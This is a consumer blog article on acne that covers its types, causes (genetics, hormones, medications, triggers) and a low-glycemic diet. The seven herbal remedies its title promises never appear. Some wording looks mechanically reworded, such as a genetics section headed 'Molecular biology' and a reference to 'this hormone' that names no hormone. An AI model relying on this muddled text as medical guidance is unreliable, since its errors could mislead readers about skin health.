7 fabulous Herbal Remedies To Treat Acne
Did you know that between the ages of 11 and 30, approximately 95% of people develop acne? This condition occurs when your skin's pores become clogged by dead cells and oil. Pimples most commonly appear on the face, but they can also appear on the chest, back, or shoulders.
Depending on the severity of your condition, you may receive
Blackheads (open clogged pores), Whiteheads (closed clogged pores), Papules (reddish, tender bumps), Pustules (pus tipped papules), Nodules (painful solid bumps under the skin), or Cysts (pus filled bumps which are painful).
Causes and Triggers of Acne
Hair grows from small pores in our skin called hair follicles. They are connected to sebaceous glands, which produce sebum or oil to lubricate hair and skin. Excess sebum, on the other hand, can combine with dead skin cells and clog hair follicles. This results in the formation of whiteheads or blackheads. Clogged pores can also become infected with bacteria that live on your skin, causing inflammation and the formation of nodules, pustules, cysts, or papules. Acne is caused by excessive sebum production, clogged hair follicles, inflammation, and bacteria. Other factors, however, can increase your chances of developing this condition:
1. Molecular biology
It has been discovered that your family history influences whether or not you get acne. Acne development, according to experts, is influenced by genetics. This is also true for adult acne; if either or both of your parents had it, you are more likely to develop it.
2. Hormonal shifts
Acne is influenced by hormones. This hormone has the ability to stimulate your glands to produce more sebum. Hormonal fluctuations during periods or pregnancy can also cause outbreaks. Acne has also been linked to polycystic ovary syndrome, a hormonal disorder.
3. Some medications
Some medications, such as lithium and steroids, have been linked to acne flare-ups. Certain medications used to treat epilepsy can also do this. Consult your doctor to determine whether any medications you are taking can cause acne outbreaks.
Stress, humidity, pollution, and pressure on your skin from tight clothes, backpacks, helmets, and so on can all aggravate acne. Picking at pimples or vigorously scrubbing your skin can also aggravate this condition.
The Best Diet for Acne Treatment
According to some research, your diet may also have an impact on acne. A low-glycemic diet, in particular, has been found to be beneficial in the treatment of this condition. The glycemic index assigns a number to foods that indicates how they affect blood sugar levels. A low glycemic diet includes foods that will not significantly raise your blood sugar levels. Because they have a low glycemic index, foods like raw carrots, chickpeas, kidney beans, green vegetables, and fruits fall into this category. Acne can also be helped by increasing your intake of omega-3 and omega-6 fatty acids through the consumption of healthy oils and fish. Meanwhile, whey proteins found in milk may contribute to acne development. So eating a healthy diet can assist you in avoiding zits.
